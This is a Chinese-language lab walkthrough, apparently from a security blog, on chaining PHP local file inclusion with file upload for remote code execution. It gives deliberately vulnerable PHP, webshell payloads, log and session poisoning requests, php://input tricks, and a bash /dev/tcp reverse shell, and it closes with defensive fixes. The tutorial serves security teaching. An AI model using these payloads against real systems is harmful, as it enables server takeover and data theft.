本地文件包含(LFI)与文件上传漏洞联动实现 RCE

本地文件包含(LFI)与文件上传漏洞联动实现 RCE 详解

一、前言

本地文件包含(LFI)文件上传漏洞是 Web 安全领域常见的高危漏洞,当两者结合时,可通过上传恶意文件并利用 LFI 包含执行,轻松实现远程命令执行(RCE),导致服务器完全失控。本文基于 Vulhub 靶场,详细复现 LFI 与文件上传漏洞的联动攻击,涵盖原理分析、利用方式、绕过技巧及防护措施,旨在帮助安全从业者深入理解漏洞成因与防范方法。

学习目标

  • 掌握 LFI 和文件上传漏洞的原理
  • 学会通过上传+包含实现 RCE 的攻击链
  • 理解日志注入、Session 注入等进阶利用方式
  • 掌握防御 LFI 和文件上传漏洞的最佳实践

免责声明:本文内容仅限合法授权的渗透测试和安全研究,严禁用于非法攻击!


二、漏洞原理简述

1. 本地文件包含(LFI)

LFI 漏洞因 Web 应用动态包含文件时未严格校验用户输入而产生。例如:

1
<?php include($_GET['page']); ?>

攻击者可通过 URL 参数控制包含的文件路径,访问本地敏感文件:

1
http://example.com/index.php?page=../../../../etc/passwd

危害

  • 读取敏感文件(如 /etc/passwd、配置文件)
  • 配合其他漏洞(如文件上传)实现 RCE

2. 文件上传漏洞

文件上传漏洞因 Web 应用未严格校验上传文件的类型、内容或存储路径而产生。攻击者可上传:

  • 恶意脚本(如 PHP WebShell)
  • 伪装文件(如 shell.jpg 包含 PHP 代码)
  • 日志文件或 Session 文件(注入恶意代码)

危害

  • 直接执行恶意脚本
  • 配合 LFI 触发 RCE

3. LFI + 文件上传 = RCE

当 Web 应用同时存在 LFI 和文件上传漏洞时,攻击者可:

  1. 上传包含 PHP 代码的文件(如 shell.txt
  2. 通过 LFI 包含该文件(如 page=uploads/shell.txt
  3. PHP 解析器执行文件中的代码,实现 RCE

攻击链

1
上传恶意文件(如 shell.txt) -> LFI 包含(如 /uploads/shell.txt) -> PHP 执行代码 -> RCE

三、靶场环境搭建

1. 环境信息

  • 操作系统:Kali Linux(虚拟机,推荐 4GB 内存,2 核 CPU)
  • 靶场:Vulhub 或手动搭建 PHP 环境
  • 工具
    • Burp Suite(抓包与请求修改)
    • 蚁剑(WebShell 管理)
    • Curl(命令执行测试)
  • 靶站地址http://localhost:8080

2. 手动搭建靶场

  1. 安装 Nginx 和 PHP

    1
    2
    sudo apt update
    sudo apt install nginx php-fpm php
  2. 创建 LFI 文件/var/www/html/index.php):

    1
    2
    3
    4
    <?php
    $page = $_GET['page'] ?? 'default.php';
    include($page);
    ?>
  3. 创建上传脚本/var/www/html/upload.php):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <?php
    if (isset($_FILES['file'])) {
    move_uploaded_file($_FILES['file']['tmp_name'], 'Uploads/' . $_FILES['file']['name']);
    echo "上传成功:Uploads/" . $_FILES['file']['name'];
    }
    ?>
    <form method="post" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit">
    </form>
  4. 配置目录权限

    • 创建 /var/www/html/Uploads/ 目录:
      1
      2
      mkdir /var/www/html/Uploads
      chmod -R 775 /var/www/html/Uploads
    • 确保 Nginx 和 PHP-FPM 有读写权限。
  5. 启动服务

    1
    2
    sudo service nginx start
    sudo service php7.4-fpm start

3. 使用 Vulhub

  • 克隆 Vulhub
    1
    2
    git clone https://github.com/vulhub/vulhub.git
    cd vulhub/php/php-lfi
  • 启动靶场
    1
    sudo docker-compose up -d
  • 验证
    • 访问 http://localhost:8080,确认 PHP 环境运行正常。

四、漏洞利用方式详解

1. 方式一:上传可控 PHP 内容的文本文件

步骤

  1. 准备 WebShell
    1
    echo "<?php @eval(\$_POST['cmd']); ?>" > shell.txt
  2. 上传文件
    • 访问 http://localhost:8080/upload.php
    • 使用 Burp Suite 拦截上传请求:
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      POST /upload.php HTTP/1.1
      Host: localhost:8080
      Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

      ------WebKitFormBoundary
      Content-Disposition: form-data; name="file"; filename="shell.txt"
      Content-Type: text/plain

      <?php @eval($_POST['cmd']); ?>
      ------WebKitFormBoundary--
    • 上传后,文件存储在 /Uploads/shell.txt
  3. 触发 LFI
    • 访问:
      1
      http://localhost:8080/index.php?page=Uploads/shell.txt&cmd=system('id');
    • 结果:返回命令执行结果,如:
      1
      uid=33(www-data) gid=33(www-data)

为什么能执行?

  • include('Uploads/shell.txt').txt 文件作为 PHP 脚本解析。
  • 文件中的 <?php @eval($_POST['cmd']); ?> 被执行,实现 RCE。

连接蚁剑

  • 配置
    • URLhttp://localhost:8080/index.php?page=Uploads/shell.txt
    • 密码cmd
    • 类型:PHP
  • 功能:命令执行、文件管理、反弹 Shell。

2. 方式二:Web 日志注入 + LFI

步骤

  1. 注入恶意 User-Agent
    • 使用 Burp Suite 发送请求:
      1
      2
      3
      GET / HTTP/1.1
      Host: localhost:8080
      User-Agent: <?php system($_GET['cmd']); ?>
    • Nginx 日志(/var/log/nginx/access.log)记录:
      1
      "<?php system($_GET['cmd']); ?>" - -
  2. 包含日志文件
    • 访问:
      1
      http://localhost:8080/index.php?page=/var/log/nginx/access.log&cmd=whoami
    • 结果:返回 www-data

适用场景

  • WAF 未过滤 User-Agent。
  • 日志文件路径可访问(如未配置 open_basedir)。

3. 方式三:Session 文件包含

步骤

  1. 注入 Session
    • 创建脚本 session.php
      1
      2
      3
      4
      <?php
      session_start();
      $_SESSION['payload'] = '<?php system($_GET["cmd"]); ?>';
      ?>
    • 访问 http://localhost:8080/session.php 生成 Session 文件。
  2. 查找 Session 文件
    • 默认路径:/var/lib/php/sessions/sess_<session_id>
    • 使用 Burp 或 Curl 获取 Session ID:
      1
      curl -I http://localhost:8080/session.php
      输出:Set-Cookie: PHPSESSID=abcxyz;
  3. 包含 Session 文件
    • 访问:
      1
      http://localhost:8080/index.php?page=/var/lib/php/sessions/sess_abcxyz&cmd=whoami
    • 结果:返回 www-data

适用场景

  • 应用使用 PHP Session。
  • Session 文件路径可预测且可包含。

4. 方式四:Proc/self/environ 包含

步骤

  1. 注入环境变量
    • 发送请求:
      1
      2
      3
      GET / HTTP/1.1
      Host: localhost:8080
      User-Agent: <?php system($_GET['cmd']); ?>
    • 注入到 /proc/self/environ
  2. 包含文件
    • 访问:
      1
      http://localhost:8080/index.php?page=/proc/self/environ&cmd=id
    • 结果:返回命令执行结果。

注意

  • /proc/self/environ 可读。
  • 常用于 Linux 系统。

五、绕过技巧

1. 编码绕过

  • URL 编码
    • /etc/passwd -> %2fetc%2fpasswd
    • ../ -> ..%2f
  • 双编码
    • %2e%2e%2f 绕过部分 WAF。

2. 伪装文件后缀

  • 上传 shell.php.jpgshell.txt
  • 配合 LFI 包含:page=Uploads/shell.php.jpg

3. PHP 协议

  • 使用 php://filter 读取文件:
    1
    http://localhost:8080/index.php?page=php://filter/convert.base64-encode/resource=index.php
  • 使用 php://input 执行代码:
    1
    2
    3
    4
    5
    POST /index.php?page=php://input HTTP/1.1
    Host: localhost:8080
    Content-Type: application/x-www-form-urlencoded

    <?php system('whoami'); ?>

4. 反弹 Shell

  • 在 Kali 启动监听:
    1
    nc -lvnp 4444
  • WebShell 执行:
    1
    bash -i >& /dev/tcp/<你的IP>/4444 0>&1

六、防御建议

1. 开发层

  • 白名单加载文件
    1
    2
    3
    4
    5
    6
    $allowed = ['home.php', 'about.php'];
    $page = $_GET['page'] ?? 'home.php';
    if (!in_array($page, $allowed)) {
    die("非法访问!");
    }
    include($page);
  • 路径验证
    1
    2
    $page = basename($_GET['page']);
    include("pages/$page");
  • 文件上传校验
    • 检查 MIME 类型:
      1
      2
      3
      4
      5
      $finfo = finfo_open(FILEINFO_MIME_TYPE);
      $mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
      if (!in_array($mime, ['image/jpeg', 'image/png'])) {
      die("仅允许图片!");
      }
    • 重命名文件:
      1
      2
      $newname = uniqid() . '.jpg';
      move_uploaded_file($_FILES['file']['tmp_name'], "Uploads/$newname");

2. 服务器配置

  • Nginx 限制 PHP 执行
    1
    2
    3
    4
    5
    location /Uploads/ {
    location ~ \.php$ {
    deny all;
    }
    }
  • PHP 配置
    1
    2
    open_basedir = /var/www/html/
    disable_functions = system,exec,shell_exec,passthru,proc_open

3. WAF 部署

  • 拦截异常路径(如 ../php://)。
  • 检测包含 PHP 代码的上传文件。

4. 日志与监控

  • 定期检查 Nginx 和 PHP 日志。
  • 扫描上传目录,删除可疑文件。

七、复现流程总结图

1
2
3
4
5
6
7
8
graph TD
A[上传恶意文件<br>shell.txt] --> B[存储到<br>Uploads/shell.txt]
B --> C[LFI 包含<br>include(Uploads/shell.txt)]
C --> D[PHP 执行<br>system($_GET['cmd'])]
A --> E[Session 注入<br>sess_abcxyz]
A --> F[日志注入<br>access.log]
E --> C
F --> C

八、附加实验建议

  1. 其他靶场
    • DVWA:File Upload + LFI 模块
    • bWAPP:LFI + Log Injection
    • Vulhub:nginx-php-fpm-lfi
  2. 进阶利用
    • 使用 php://input 直接提交 PHP 代码。
    • 结合 php://filter 读取源代码。
  3. 工具配合
    • 蚁剑:管理上传的 WebShell。
    • Burp Suite:修改上传文件名或注入日志。

九、总结

项目 信息
漏洞类型 LFI + 文件上传 = RCE
靶场 Vulhub 或手动搭建 PHP 环境
利用方式 上传 PHP 代码 + LFI 包含
进阶技巧 日志注入、Session 注入、协议利用
危害 敏感信息泄露、服务器完全控制
修复核心 白名单校验、路径限制、上传过滤

LFI 与文件上传漏洞的联动攻击展示了 Web 应用安全设计的复杂性。通过上传恶意文件并利用 LFI 包含,攻击者可轻松实现 RCE。开发者应采用白名单机制、严格校验上传文件、限制 PHP 执行路径,并部署 WAF 和日志监控,构建多层次防御体系。

免责声明:本文内容仅供合法授权的渗透测试和安全研究,严禁用于非法用途!


本地文件包含(LFI)与文件上传漏洞联动实现 RCE
https://bae-ace.github.io/2025/08/06/本地文件包含(LFI)与文件上传漏洞联动实现-RCE/
作者
bae
发布于
2025年8月6日
许可协议